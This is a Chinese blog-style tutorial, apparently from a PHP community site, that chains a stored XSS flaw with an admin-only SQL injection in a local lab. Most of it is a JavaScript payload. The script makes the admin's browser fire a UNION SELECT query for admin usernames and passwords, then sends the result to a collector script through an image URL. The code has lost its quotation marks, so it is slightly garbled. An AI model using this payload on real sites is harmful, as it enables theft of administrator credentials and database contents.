于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!
模拟注入漏洞代码
sqli.php
01
mysql数据库:
1 database:test
2 table:test、admin
3 column:test.id、test.realname
4 admin.id、admin.username、admin.password
get.php(获取的注入后数据截取)
1
xsssqli.js(payload)
01 function addloadevent(func)//窗口打开加载多个函数
02 {
03 var oldfunc=window.onload; //页面打开是加载方法
04 if(typeof(window.onload)!=function)
05 {
06 window.onload=func;
07 }
08 else
09 {
10 window.onload=function()
11 {
12 oldfunc();
13 func();
14 }
15 }
16 }
17 function get_xsssqli()
18 {
19 var url = http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin;
20 var ajax = null;
21 if(window.xmlhttprequest)
22 {
23 ajax = new xmlhttprequest();
24 }
25 else if(window.activexobject)
26 {
27 ajax = new activexobject(microsoft.xmlhttp);//ie6和一下老版本
28 }
29 else
30 {
31 return;
32 }
33 ajax.open(get, url, true);
34 ajax.send(null);
35 ajax.onreadystatechange = function()
36 {
37 if(ajax.readystate == 4 && ajax.status == 200)
38 {
39 var img = document.createelement(img);
40 img.src = http://127.0.0.1/xss/get.php?get=+ajax.responsetext;
41 document.body.appendchild(img);
42 }
43 }
44 }
45 addloadevent(get_xsssqli);
模拟xss漏洞
1
2
3 use xss to sqli
4
5
6
7
8
最后成功得到数据:
当然你也可以写个正则截获指定数据!
来自:http://superman.php100.com/
